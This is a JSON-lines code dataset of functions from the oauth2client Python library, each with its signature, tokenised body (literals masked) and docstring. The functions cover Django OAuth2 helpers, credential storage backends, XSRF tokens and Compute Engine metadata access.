{"signature": "def _get_oauth2_client_id_and_secret(settings_instance):", "body": "secret_json = getattr(settings_instance,<EOL>'<STR_LIT>', None)<EOL>if secret_json is not None:<EOL><INDENT>return _load_client_secrets(secret_json)<EOL><DEDENT>else:<EOL><INDENT>client_id = getattr(settings_instance, \"<STR_LIT>\",<EOL>None)<EOL>client_secret = getattr(settings_instance,<EOL>\"<STR_LIT>\", None)<EOL>if client_id is not None and client_secret is not None:<EOL><INDENT>return client_id, client_secret<EOL><DEDENT>else:<EOL><INDENT>raise exceptions.ImproperlyConfigured(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Initializes client id and client secret based on the settings.\n\n    Args:\n        settings_instance: An instance of ``django.conf.settings``.\n\n    Returns:\n        A 2-tuple, the first item is the client id and the second\n         item is the client secret.", "id": "f2452:m1"}
{"signature": "def _get_storage_model():", "body": "storage_model_settings = getattr(django.conf.settings,<EOL>'<STR_LIT>', None)<EOL>if storage_model_settings is not None:<EOL><INDENT>return (storage_model_settings['<STR_LIT>'],<EOL>storage_model_settings['<STR_LIT>'],<EOL>storage_model_settings['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>return None, None, None<EOL><DEDENT>", "docstring": "This configures whether the credentials will be stored in the session\n    or the Django ORM based on the settings. By default, the credentials\n    will be stored in the session, unless `GOOGLE_OAUTH2_STORAGE_MODEL`\n    is found in the settings. Usually, the ORM storage is used to integrate\n    credentials into an existing Django user system.\n\n    Returns:\n        A tuple containing three strings, or None. If\n        ``GOOGLE_OAUTH2_STORAGE_MODEL`` is configured, the tuple\n        will contain the fully qualifed path of the `django.db.model`,\n        the name of the ``django.contrib.auth.models.User`` field on the\n        model, and the name of the\n        :class:`oauth2client.contrib.django_util.models.CredentialsField`\n        field on the model. If Django ORM storage is not configured,\n        this function returns None.", "id": "f2452:m2"}
{"signature": "def get_storage(request):", "body": "storage_model = oauth2_settings.storage_model<EOL>user_property = oauth2_settings.storage_model_user_property<EOL>credentials_property = oauth2_settings.storage_model_credentials_property<EOL>if storage_model:<EOL><INDENT>module_name, class_name = storage_model.rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL>module = importlib.import_module(module_name)<EOL>storage_model_class = getattr(module, class_name)<EOL>return storage.DjangoORMStorage(storage_model_class,<EOL>user_property,<EOL>request.user,<EOL>credentials_property)<EOL><DEDENT>else:<EOL><INDENT>return dictionary_storage.DictionaryStorage(<EOL>request.session, key=_CREDENTIALS_KEY)<EOL><DEDENT>", "docstring": "Gets a Credentials storage object provided by the Django OAuth2 Helper\n    object.\n\n    Args:\n        request: Reference to the current request object.\n\n    Returns:\n       An :class:`oauth2.client.Storage` object.", "id": "f2452:m3"}
{"signature": "def _redirect_with_params(url_name, *args, **kwargs):", "body": "url = urlresolvers.reverse(url_name, args=args)<EOL>params = parse.urlencode(kwargs, True)<EOL>return \"<STR_LIT>\".format(url, params)<EOL>", "docstring": "Helper method to create a redirect response with URL params.\n\n    This builds a redirect string that converts kwargs into a\n    query string.\n\n    Args:\n        url_name: The name of the url to redirect to.\n        kwargs: the query string param and their values to build.\n\n    Returns:\n        A properly formatted redirect string.", "id": "f2452:m4"}
{"signature": "def _credentials_from_request(request):", "body": "<EOL>if (oauth2_settings.storage_model is None or<EOL>request.user.is_authenticated()):<EOL><INDENT>return get_storage(request).get()<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Gets the authorized credentials for this flow, if they exist.", "id": "f2452:m5"}
{"signature": "def __init__(self, request, scopes=None, return_url=None):", "body": "self.request = request<EOL>self.return_url = return_url or request.get_full_path()<EOL>if scopes:<EOL><INDENT>self._scopes = set(oauth2_settings.scopes) | set(scopes)<EOL><DEDENT>else:<EOL><INDENT>self._scopes = set(oauth2_settings.scopes)<EOL><DEDENT>", "docstring": "Initialize the Oauth2 Object.\n\n        Args:\n            request: Django request object.\n            scopes: Scopes desired for this OAuth2 flow.\n            return_url: The url to return to after the OAuth flow is complete,\n                 defaults to the request's current URL path.", "id": "f2452:c1:m0"}
{"signature": "def get_authorize_redirect(self):", "body": "get_params = {<EOL>'<STR_LIT>': self.return_url,<EOL>'<STR_LIT>': self._get_scopes()<EOL>}<EOL>return _redirect_with_params('<STR_LIT>', **get_params)<EOL>", "docstring": "Creates a URl to start the OAuth2 authorization flow.", "id": "f2452:c1:m1"}
{"signature": "def has_credentials(self):", "body": "credentials = _credentials_from_request(self.request)<EOL>return (credentials and not credentials.invalid and<EOL>credentials.has_scopes(self._get_scopes()))<EOL>", "docstring": "Returns True if there are valid credentials for the current user\n        and required scopes.", "id": "f2452:c1:m2"}
{"signature": "def _get_scopes(self):", "body": "if _credentials_from_request(self.request):<EOL><INDENT>return (self._scopes |<EOL>_credentials_from_request(self.request).scopes)<EOL><DEDENT>else:<EOL><INDENT>return self._scopes<EOL><DEDENT>", "docstring": "Returns the scopes associated with this object, kept up to\n         date for incremental auth.", "id": "f2452:c1:m3"}
{"signature": "@property<EOL><INDENT>def scopes(self):<DEDENT>", "body": "<EOL>return self._get_scopes()<EOL>", "docstring": "Returns the scopes associated with this OAuth2 object.", "id": "f2452:c1:m4"}
{"signature": "@property<EOL><INDENT>def credentials(self):<DEDENT>", "body": "return _credentials_from_request(self.request)<EOL>", "docstring": "Gets the authorized credentials for this flow, if they exist.", "id": "f2452:c1:m5"}
{"signature": "@property<EOL><INDENT>def http(self):<DEDENT>", "body": "if self.has_credentials():<EOL><INDENT>return self.credentials.authorize(transport.get_http_object())<EOL><DEDENT>return None<EOL>", "docstring": "Helper: create HTTP client authorized with OAuth2 credentials.", "id": "f2452:c1:m6"}
{"signature": "def from_db_value(self, value, expression, connection, context):", "body": "return self.to_python(value)<EOL>", "docstring": "Overrides ``models.Field`` method. This converts the value\n        returned from the database to an instance of this class.", "id": "f2453:c0:m2"}
{"signature": "def to_python(self, value):", "body": "if value is None:<EOL><INDENT>return None<EOL><DEDENT>elif isinstance(value, oauth2client.client.Credentials):<EOL><INDENT>return value<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>return jsonpickle.decode(<EOL>base64.b64decode(encoding.smart_bytes(value)).decode())<EOL><DEDENT>except ValueError:<EOL><INDENT>return pickle.loads(<EOL>base64.b64decode(encoding.smart_bytes(value)))<EOL><DEDENT><DEDENT>", "docstring": "Overrides ``models.Field`` method. This is used to convert\n        bytes (from serialization etc) to an instance of this class", "id": "f2453:c0:m3"}
{"signature": "def get_prep_value(self, value):", "body": "if value is None:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return encoding.smart_text(<EOL>base64.b64encode(jsonpickle.encode(value).encode()))<EOL><DEDENT>", "docstring": "Overrides ``models.Field`` method. This is used to convert\n        the value from an instances of this class to bytes that can be\n        inserted into the database.", "id": "f2453:c0:m4"}
{"signature": "def value_to_string(self, obj):", "body": "value = self._get_val_from_obj(obj)<EOL>return self.get_prep_value(value)<EOL>", "docstring": "Convert the field value from the provided model to a string.\n\n        Used during model serialization.\n\n        Args:\n            obj: db.Model, model object\n\n        Returns:\n            string, the serialized field value", "id": "f2453:c0:m5"}
{"signature": "def oauth_required(decorated_function=None, scopes=None, **decorator_kwargs):", "body": "def curry_wrapper(wrapped_function):<EOL><INDENT>@wraps(wrapped_function)<EOL>def required_wrapper(request, *args, **kwargs):<EOL><INDENT>if not (django_util.oauth2_settings.storage_model is None or<EOL>request.user.is_authenticated()):<EOL><INDENT>redirect_str = '<STR_LIT>'.format(<EOL>django.conf.settings.LOGIN_URL,<EOL>parse.quote(request.path))<EOL>return shortcuts.redirect(redirect_str)<EOL><DEDENT>return_url = decorator_kwargs.pop('<STR_LIT>',<EOL>request.get_full_path())<EOL>user_oauth = django_util.UserOAuth2(request, scopes, return_url)<EOL>if not user_oauth.has_credentials():<EOL><INDENT>return shortcuts.redirect(user_oauth.get_authorize_redirect())<EOL><DEDENT>setattr(request, django_util.oauth2_settings.request_prefix,<EOL>user_oauth)<EOL>return wrapped_function(request, *args, **kwargs)<EOL><DEDENT>return required_wrapper<EOL><DEDENT>if decorated_function:<EOL><INDENT>return curry_wrapper(decorated_function)<EOL><DEDENT>else:<EOL><INDENT>return curry_wrapper<EOL><DEDENT>", "docstring": "Decorator to require OAuth2 credentials for a view.\n\n\n    .. code-block:: python\n       :caption: views.py\n       :name: views_required_2\n\n\n       from oauth2client.django_util.decorators import oauth_required\n\n       @oauth_required\n       def requires_default_scopes(request):\n          email = request.credentials.id_token['email']\n          service = build(serviceName='calendar', version='v3',\n                       http=request.oauth.http,\n                       developerKey=API_KEY)\n          events = service.events().list(\n                                    calendarId='primary').execute()['items']\n          return HttpResponse(\n              \"email: {0}, calendar: {1}\".format(email, str(events)))\n\n    Args:\n        decorated_function: View function to decorate, must have the Django\n           request object as the first argument.\n        scopes: Scopes to require, will default.\n        decorator_kwargs: Can include ``return_url`` to specify the URL to\n           return to after OAuth2 authorization is complete.\n\n    Returns:\n        An OAuth2 Authorize view if credentials are not found or if the\n        credentials are missing the required scopes. Otherwise,\n        the decorated view.", "id": "f2454:m0"}
{"signature": "def oauth_enabled(decorated_function=None, scopes=None, **decorator_kwargs):", "body": "def curry_wrapper(wrapped_function):<EOL><INDENT>@wraps(wrapped_function)<EOL>def enabled_wrapper(request, *args, **kwargs):<EOL><INDENT>return_url = decorator_kwargs.pop('<STR_LIT>',<EOL>request.get_full_path())<EOL>user_oauth = django_util.UserOAuth2(request, scopes, return_url)<EOL>setattr(request, django_util.oauth2_settings.request_prefix,<EOL>user_oauth)<EOL>return wrapped_function(request, *args, **kwargs)<EOL><DEDENT>return enabled_wrapper<EOL><DEDENT>if decorated_function:<EOL><INDENT>return curry_wrapper(decorated_function)<EOL><DEDENT>else:<EOL><INDENT>return curry_wrapper<EOL><DEDENT>", "docstring": "Decorator to enable OAuth Credentials if authorized, and setup\n    the oauth object on the request object to provide helper functions\n    to start the flow otherwise.\n\n    .. code-block:: python\n       :caption: views.py\n       :name: views_enabled3\n\n       from oauth2client.django_util.decorators import oauth_enabled\n\n       @oauth_enabled\n       def optional_oauth2(request):\n           if request.oauth.has_credentials():\n               # this could be passed into a view\n               # request.oauth.http is also initialized\n               return HttpResponse(\"User email: {0}\".format(\n                                   request.oauth.credentials.id_token['email'])\n           else:\n               return HttpResponse('Here is an OAuth Authorize link:\n               <a href=\"{0}\">Authorize</a>'.format(\n                   request.oauth.get_authorize_redirect()))\n\n\n    Args:\n        decorated_function: View function to decorate.\n        scopes: Scopes to require, will default.\n        decorator_kwargs: Can include ``return_url`` to specify the URL to\n           return to after OAuth2 authorization is complete.\n\n    Returns:\n         The decorated view function.", "id": "f2454:m1"}
{"signature": "def __init__(self, session, model_class, key_name,<EOL>key_value, property_name):", "body": "super(Storage, self).__init__()<EOL>self.session = session<EOL>self.model_class = model_class<EOL>self.key_name = key_name<EOL>self.key_value = key_value<EOL>self.property_name = property_name<EOL>", "docstring": "Constructor for Storage.\n\n        Args:\n            session: An instance of :class:`sqlalchemy.orm.Session`.\n            model_class: SQLAlchemy declarative mapping.\n            key_name: string, key name for the entity that has the credentials\n            key_value: key value for the entity that has the credentials\n            property_name: A string indicating which property on the\n                           ``model_class`` to store the credentials.\n                           This property must be a\n                           :class:`CredentialsType` column.", "id": "f2455:c1:m0"}
{"signature": "def locked_get(self):", "body": "filters = {self.key_name: self.key_value}<EOL>query = self.session.query(self.model_class).filter_by(**filters)<EOL>entity = query.first()<EOL>if entity:<EOL><INDENT>credential = getattr(entity, self.property_name)<EOL>if credential and hasattr(credential, '<STR_LIT>'):<EOL><INDENT>credential.set_store(self)<EOL><DEDENT>return credential<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Retrieve stored credential.\n\n        Returns:\n            A :class:`oauth2client.Credentials` instance or `None`.", "id": "f2455:c1:m1"}
{"signature": "def locked_put(self, credentials):", "body": "filters = {self.key_name: self.key_value}<EOL>query = self.session.query(self.model_class).filter_by(**filters)<EOL>entity = query.first()<EOL>if not entity:<EOL><INDENT>entity = self.model_class(**filters)<EOL><DEDENT>setattr(entity, self.property_name, credentials)<EOL>self.session.add(entity)<EOL>", "docstring": "Write a credentials to the SQLAlchemy datastore.\n\n        Args:\n            credentials: :class:`oauth2client.Credentials`", "id": "f2455:c1:m2"}
{"signature": "def locked_delete(self):", "body": "filters = {self.key_name: self.key_value}<EOL>self.session.query(self.model_class).filter_by(**filters).delete()<EOL>", "docstring": "Delete credentials from the SQLAlchemy datastore.", "id": "f2455:c1:m3"}
{"signature": "@_helpers.positional(<NUM_LIT:2>)<EOL>def generate_token(key, user_id, action_id='<STR_LIT>', when=None):", "body": "digester = hmac.new(_helpers._to_bytes(key, encoding='<STR_LIT:utf-8>'))<EOL>digester.update(_helpers._to_bytes(str(user_id), encoding='<STR_LIT:utf-8>'))<EOL>digester.update(DELIMITER)<EOL>digester.update(_helpers._to_bytes(action_id, encoding='<STR_LIT:utf-8>'))<EOL>digester.update(DELIMITER)<EOL>when = _helpers._to_bytes(str(when or int(time.time())), encoding='<STR_LIT:utf-8>')<EOL>digester.update(when)<EOL>digest = digester.digest()<EOL>token = base64.urlsafe_b64encode(digest + DELIMITER + when)<EOL>return token<EOL>", "docstring": "Generates a URL-safe token for the given user, action, time tuple.\n\n    Args:\n        key: secret key to use.\n        user_id: the user ID of the authenticated user.\n        action_id: a string identifier of the action they requested\n                   authorization for.\n        when: the time in seconds since the epoch at which the user was\n              authorized for this action. If not set the current time is used.\n\n    Returns:\n        A string XSRF protection token.", "id": "f2456:m0"}
{"signature": "@_helpers.positional(<NUM_LIT:3>)<EOL>def validate_token(key, token, user_id, action_id=\"<STR_LIT>\", current_time=None):", "body": "if not token:<EOL><INDENT>return False<EOL><DEDENT>try:<EOL><INDENT>decoded = base64.urlsafe_b64decode(token)<EOL>token_time = int(decoded.split(DELIMITER)[-<NUM_LIT:1>])<EOL><DEDENT>except (TypeError, ValueError, binascii.Error):<EOL><INDENT>return False<EOL><DEDENT>if current_time is None:<EOL><INDENT>current_time = time.time()<EOL><DEDENT>if current_time - token_time > DEFAULT_TIMEOUT_SECS:<EOL><INDENT>return False<EOL><DEDENT>expected_token = generate_token(key, user_id, action_id=action_id,<EOL>when=token_time)<EOL>if len(token) != len(expected_token):<EOL><INDENT>return False<EOL><DEDENT>different = <NUM_LIT:0><EOL>for x, y in zip(bytearray(token), bytearray(expected_token)):<EOL><INDENT>different |= x ^ y<EOL><DEDENT>return not different<EOL>", "docstring": "Validates that the given token authorizes the user for the action.\n\n    Tokens are invalid if the time of issue is too old or if the token\n    does not match what generateToken outputs (i.e. the token was forged).\n\n    Args:\n        key: secret key to use.\n        token: a string of the token generated by generateToken.\n        user_id: the user ID of the authenticated user.\n        action_id: a string identifier of the action they requested\n                   authorization for.\n\n    Returns:\n        A boolean - True if the user is authorized for the action, False\n        otherwise.", "id": "f2456:m1"}
{"signature": "def __init__(self, dictionary, key, lock=None):", "body": "super(DictionaryStorage, self).__init__(lock=lock)<EOL>self._dictionary = dictionary<EOL>self._key = key<EOL>", "docstring": "Construct a DictionaryStorage instance.", "id": "f2457:c0:m0"}
{"signature": "def locked_get(self):", "body": "serialized = self._dictionary.get(self._key)<EOL>if serialized is None:<EOL><INDENT>return None<EOL><DEDENT>credentials = client.OAuth2Credentials.from_json(serialized)<EOL>credentials.set_store(self)<EOL>return credentials<EOL>", "docstring": "Retrieve the credentials from the dictionary, if they exist.\n\n        Returns: A :class:`oauth2client.client.OAuth2Credentials` instance.", "id": "f2457:c0:m1"}
{"signature": "def locked_put(self, credentials):", "body": "serialized = credentials.to_json()<EOL>self._dictionary[self._key] = serialized<EOL>", "docstring": "Save the credentials to the dictionary.\n\n        Args:\n            credentials: A :class:`oauth2client.client.OAuth2Credentials`\n                         instance.", "id": "f2457:c0:m2"}
{"signature": "def locked_delete(self):", "body": "self._dictionary.pop(self._key, None)<EOL>", "docstring": "Remove the credentials from the dictionary, if they exist.", "id": "f2457:c0:m3"}
{"signature": "def __init__(self, email=None, *args, **kwargs):", "body": "if '<STR_LIT>' in kwargs:<EOL><INDENT>warnings.warn(_SCOPES_WARNING)<EOL>kwargs['<STR_LIT>'] = None<EOL><DEDENT>super(AppAssertionCredentials, self).__init__(None, *args, **kwargs)<EOL>self.service_account_email = email<EOL>self.scopes = None<EOL>self.invalid = True<EOL>", "docstring": "Constructor for AppAssertionCredentials\n\n        Args:\n            email: an email that specifies the service account to use.\n                   Only necessary if using custom service accounts\n                   (see https://cloud.google.com/compute/docs/access/create-enable-service-accounts-for-instances#createdefaultserviceaccount).", "id": "f2458:c0:m0"}
{"signature": "def retrieve_scopes(self, http):", "body": "self._retrieve_info(http)<EOL>return self.scopes<EOL>", "docstring": "Retrieves the canonical list of scopes for this access token.\n\n        Overrides client.Credentials.retrieve_scopes. Fetches scopes info\n        from the metadata server.\n\n        Args:\n            http: httplib2.Http, an http object to be used to make the refresh\n                  request.\n\n        Returns:\n            A set of strings containing the canonical list of scopes.", "id": "f2458:c0:m3"}
{"signature": "def _retrieve_info(self, http):", "body": "if self.invalid:<EOL><INDENT>info = _metadata.get_service_account_info(<EOL>http,<EOL>service_account=self.service_account_email or '<STR_LIT:default>')<EOL>self.invalid = False<EOL>self.service_account_email = info['<STR_LIT:email>']<EOL>self.scopes = info['<STR_LIT>']<EOL><DEDENT>", "docstring": "Retrieves service account info for invalid credentials.\n\n        Args:\n            http: an object to be used to make HTTP requests.", "id": "f2458:c0:m4"}
{"signature": "def _refresh(self, http):", "body": "try:<EOL><INDENT>self._retrieve_info(http)<EOL>self.access_token, self.token_expiry = _metadata.get_token(<EOL>http, service_account=self.service_account_email)<EOL><DEDENT>except http_client.HTTPException as err:<EOL><INDENT>raise client.HttpAccessTokenRefreshError(str(err))<EOL><DEDENT>", "docstring": "Refreshes the access token.\n\n        Skip all the storage hoops and just refresh using the API.\n\n        Args:\n            http: an object to be used to make HTTP requests.\n\n        Raises:\n            HttpAccessTokenRefreshError: When the refresh fails.", "id": "f2458:c0:m5"}
{"signature": "def sign_blob(self, blob):", "body": "raise NotImplementedError(<EOL>'<STR_LIT>')<EOL>", "docstring": "Cryptographically sign a blob (of bytes).\n\n        This method is provided to support a common interface, but\n        the actual key used for a Google Compute Engine service account\n        is not available, so it can't be used to sign content.\n\n        Args:\n            blob: bytes, Message to be signed.\n\n        Raises:\n            NotImplementedError, always.", "id": "f2458:c0:m8"}
{"signature": "@classmethod<EOL><INDENT>def _get_kind(cls):<DEDENT>", "body": "return '<STR_LIT>'<EOL>", "docstring": "Return the kind name for this class.", "id": "f2459:c0:m0"}
{"signature": "def _validate(self, value):", "body": "_LOGGER.info('<STR_LIT>', type(value))<EOL>if value is not None and not isinstance(value, client.Flow):<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(self._name, value))<EOL><DEDENT>", "docstring": "Validates a value as a proper Flow object.\n\n        Args:\n            value: A value to be set on the property.\n\n        Raises:\n            TypeError if the value is not an instance of Flow.", "id": "f2459:c1:m0"}
{"signature": "def _validate(self, value):", "body": "_LOGGER.info('<STR_LIT>', type(value))<EOL>if value is not None and not isinstance(value, client.Credentials):<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(self._name, value))<EOL><DEDENT>", "docstring": "Validates a value as a proper credentials object.\n\n        Args:\n            value: A value to be set on the property.\n\n        Raises:\n            TypeError if the value is not an instance of Credentials.", "id": "f2459:c2:m0"}
{"signature": "def _to_base_type(self, value):", "body": "if value is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return value.to_json()<EOL><DEDENT>", "docstring": "Converts our validated value to a JSON serialized string.\n\n        Args:\n            value: A value to be set in the datastore.\n\n        Returns:\n            A JSON serialized version of the credential, else '' if value\n            is None.", "id": "f2459:c2:m1"}
{"signature": "def _from_base_type(self, value):", "body": "if not value:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>credentials = client.Credentials.new_from_json(value)<EOL><DEDENT>except ValueError:<EOL><INDENT>credentials = None<EOL><DEDENT>return credentials<EOL>", "docstring": "Converts our stored JSON string back to the desired type.\n\n        Args:\n            value: A value from the datastore to be converted to the\n                   desired type.\n\n        Returns:\n            A deserialized Credentials (or subclass) object, else None if\n            the value can't be parsed.", "id": "f2459:c2:m2"}
{"signature": "@classmethod<EOL><INDENT>def _get_kind(cls):<DEDENT>", "body": "return '<STR_LIT>'<EOL>", "docstring": "Return the kind name for this class.", "id": "f2459:c3:m0"}
{"signature": "def get(http, path, root=METADATA_ROOT, recursive=None):", "body": "url = urlparse.urljoin(root, path)<EOL>url = _helpers._add_query_parameter(url, '<STR_LIT>', recursive)<EOL>response, content = transport.request(<EOL>http, url, headers=METADATA_HEADERS)<EOL>if response.status == http_client.OK:<EOL><INDENT>decoded = _helpers._from_bytes(content)<EOL>if response['<STR_LIT>'] == '<STR_LIT:application/json>':<EOL><INDENT>return json.loads(decoded)<EOL><DEDENT>else:<EOL><INDENT>return decoded<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise http_client.HTTPException(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(url, response))<EOL><DEDENT>", "docstring": "Fetch a resource from the metadata server.\n\n    Args:\n        http: an object to be used to make HTTP requests.\n        path: A string indicating the resource to retrieve. For example,\n            'instance/service-accounts/default'\n        root: A string indicating the full path to the metadata server root.\n        recursive: A boolean indicating whether to do a recursive query of\n            metadata. See\n            https://cloud.google.com/compute/docs/metadata#aggcontents\n\n    Returns:\n        A dictionary if the metadata server returns JSON, otherwise a string.\n\n    Raises:\n        http_client.HTTPException if an error corrured while\n        retrieving metadata.", "id": "f2460:m0"}
{"signature": "def get_service_account_info(http, service_account='<STR_LIT:default>'):", "body": "return get(<EOL>http,<EOL>'<STR_LIT>'.format(service_account),<EOL>recursive=True)<EOL>", "docstring": "Get information about a service account from the metadata server.\n\n    Args:\n        http: an object to be used to make HTTP requests.\n        service_account: An email specifying the service account for which to\n            look up information. Default will be information for the \"default\"\n            service account of the current compute engine instance.\n\n    Returns:\n         A dictionary with information about the specified service account,\n         for example:\n\n            {\n                'email': '...',\n                'scopes': ['scope', ...],\n                'aliases': ['default', '...']\n            }", "id": "f2460:m1"}
{"signature": "def get_token(http, service_account='<STR_LIT:default>'):", "body": "token_json = get(<EOL>http,<EOL>'<STR_LIT>'.format(service_account))<EOL>token_expiry = client._UTCNOW() + datetime.timedelta(<EOL>seconds=token_json['<STR_LIT>'])<EOL>return token_json['<STR_LIT>'], token_expiry<EOL>", "docstring": "Fetch an oauth token for the\n\n    Args:\n        http: an object to be used to make HTTP requests.\n        service_account: An email specifying the service account this token\n            should represent. Default will be a token for the \"default\" service\n            account of the current compute engine instance.\n\n    Returns:\n         A tuple of (access token, token expiration), where access token is the\n         access token as a string and token expiration is a datetime object\n         that indicates when the access token will expire.", "id": "f2460:m2"}
{"signature": "def _create_file_if_needed(filename):", "body": "if os.path.exists(filename):<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>open(filename, '<STR_LIT>').close()<EOL>logger.info('<STR_LIT>'.format(filename))<EOL>return True<EOL><DEDENT>", "docstring": "Creates the an empty file if it does not already exist.\n\n    Returns:\n        True if the file was created, False otherwise.", "id": "f2461:m0"}
{"signature": "def _load_credentials_file(credentials_file):", "body": "try:<EOL><INDENT>credentials_file.seek(<NUM_LIT:0>)<EOL>data = json.load(credentials_file)<EOL><DEDENT>except Exception:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return {}<EOL><DEDENT>if data.get('<STR_LIT>') != <NUM_LIT:2>:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return {}<EOL><DEDENT>credentials = {}<EOL>for key, encoded_credential in iteritems(data.get('<STR_LIT>', {})):<EOL><INDENT>try:<EOL><INDENT>credential_json = base64.b64decode(encoded_credential)<EOL>credential = client.Credentials.new_from_json(credential_json)<EOL>credentials[key] = credential<EOL><DEDENT>except:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>'.format(key))<EOL><DEDENT><DEDENT>return credentials<EOL>", "docstring": "Load credentials from the given file handle.\n\n    The file is expected to be in this format:\n\n        {\n            \"file_version\": 2,\n            \"credentials\": {\n                \"key\": \"base64 encoded json representation of credentials.\"\n            }\n        }\n\n    This function will warn and return empty credentials instead of raising\n    exceptions.\n\n    Args:\n        credentials_file: An open file handle.\n\n    Returns:\n        A dictionary mapping user-defined keys to an instance of\n        :class:`oauth2client.client.Credentials`.", "id": "f2461:m1"}
{"signature": "def _write_credentials_file(credentials_file, credentials):", "body": "data = {'<STR_LIT>': <NUM_LIT:2>, '<STR_LIT>': {}}<EOL>for key, credential in iteritems(credentials):<EOL><INDENT>credential_json = credential.to_json()<EOL>encoded_credential = _helpers._from_bytes(base64.b64encode(<EOL>_helpers._to_bytes(credential_json)))<EOL>data['<STR_LIT>'][key] = encoded_credential<EOL><DEDENT>credentials_file.seek(<NUM_LIT:0>)<EOL>json.dump(data, credentials_file)<EOL>credentials_file.truncate()<EOL>", "docstring": "Writes credentials to a file.\n\n    Refer to :func:`_load_credentials_file` for the format.\n\n    Args:\n        credentials_file: An open file handle, must be read/write.\n        credentials: A dictionary mapping user-defined keys to an instance of\n            :class:`oauth2client.client.Credentials`.", "id": "f2461:m2"}
{"signature": "def _get_backend(filename):", "body": "filename = os.path.abspath(filename)<EOL>with _backends_lock:<EOL><INDENT>if filename not in _backends:<EOL><INDENT>_backends[filename] = _MultiprocessStorageBackend(filename)<EOL><DEDENT>return _backends[filename]<EOL><DEDENT>", "docstring": "A helper method to get or create a backend with thread locking.\n\n    This ensures that only one backend is used per-file per-process, so that\n    thread and process locks are appropriately shared.\n\n    Args:\n        filename: The full path to the credential storage file.\n\n    Returns:\n        An instance of :class:`_MultiprocessStorageBackend`.", "id": "f2461:m3"}
{"signature": "def _load_credentials(self):", "body": "if not self._file:<EOL><INDENT>return<EOL><DEDENT>loaded_credentials = _load_credentials_file(self._file)<EOL>self._credentials.update(loaded_credentials)<EOL>logger.debug('<STR_LIT>')<EOL>", "docstring": "(Re-)loads the credentials from the file.", "id": "f2461:c0:m1"}
{"signature": "def locked_get(self):", "body": "credential = self._backend.locked_get(self._key)<EOL>if credential is not None:<EOL><INDENT>credential.set_store(self)<EOL><DEDENT>return credential<EOL>", "docstring": "Retrieves the current credentials from the store.\n\n        Returns:\n            An instance of :class:`oauth2client.client.Credentials` or `None`.", "id": "f2461:c1:m3"}
{"signature": "def locked_put(self, credentials):", "body": "return self._backend.locked_put(self._key, credentials)<EOL>", "docstring": "Writes the given credentials to the store.\n\n        Args:\n            credentials: an instance of\n                :class:`oauth2client.client.Credentials`.", "id": "f2461:c1:m4"}
{"signature": "def locked_delete(self):", "body": "return self._backend.locked_delete(self._key)<EOL>", "docstring": "Deletes the current credentials from the store.", "id": "f2461:c1:m5"}
{"signature": "def _safe_html(s):", "body": "return cgi.escape(s, quote=<NUM_LIT:1>).replace(\"<STR_LIT:'>\", '<STR_LIT>')<EOL>", "docstring": "Escape text to make it safe to display.\n\n    Args:\n        s: string, The text to escape.\n\n    Returns:\n        The escaped text as a string.", "id": "f2463:m0"}
{"signature": "def _generate_new_xsrf_secret_key():", "body": "return os.urandom(<NUM_LIT:16>).encode(\"<STR_LIT>\")<EOL>", "docstring": "Returns a random XSRF secret key.", "id": "f2463:m1"}
{"signature": "def xsrf_secret_key():", "body": "secret = memcache.get(XSRF_MEMCACHE_ID, namespace=OAUTH2CLIENT_NAMESPACE)<EOL>if not secret:<EOL><INDENT>model = SiteXsrfSecretKey.get_or_insert(key_name='<STR_LIT>')<EOL>if not model.secret:<EOL><INDENT>model.secret = _generate_new_xsrf_secret_key()<EOL>model.put()<EOL><DEDENT>secret = model.secret<EOL>memcache.add(XSRF_MEMCACHE_ID, secret,<EOL>namespace=OAUTH2CLIENT_NAMESPACE)<EOL><DEDENT>return str(secret)<EOL>", "docstring": "Return the secret key for use for XSRF protection.\n\n    If the Site entity does not have a secret key, this method will also create\n    one and persist it.\n\n    Returns:\n        The secret key.", "id": "f2463:m2"}
{"signature": "def _build_state_value(request_handler, user):", "body": "uri = request_handler.request.url<EOL>token = xsrfutil.generate_token(xsrf_secret_key(), user.user_id(),<EOL>action_id=str(uri))<EOL>return uri + '<STR_LIT::>' + token<EOL>", "docstring": "Composes the value for the 'state' parameter.\n\n    Packs the current request URI and an XSRF token into an opaque string that\n    can be passed to the authentication server via the 'state' parameter.\n\n    Args:\n        request_handler: webapp.RequestHandler, The request.\n        user: google.appengine.api.users.User, The current user.\n\n    Returns:\n        The state value as a string.", "id": "f2463:m3"}
{"signature": "def _parse_state_value(state, user):", "body": "uri, token = state.rsplit('<STR_LIT::>', <NUM_LIT:1>)<EOL>if xsrfutil.validate_token(xsrf_secret_key(), token, user.user_id(),<EOL>action_id=uri):<EOL><INDENT>return uri<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Parse the value of the 'state' parameter.\n\n    Parses the value and validates the XSRF token in the state parameter.\n\n    Args:\n        state: string, The value of the state parameter.\n        user: google.appengine.api.users.User, The current user.\n\n    Returns:\n        The redirect URI, or None if XSRF token is not valid.", "id": "f2463:m4"}
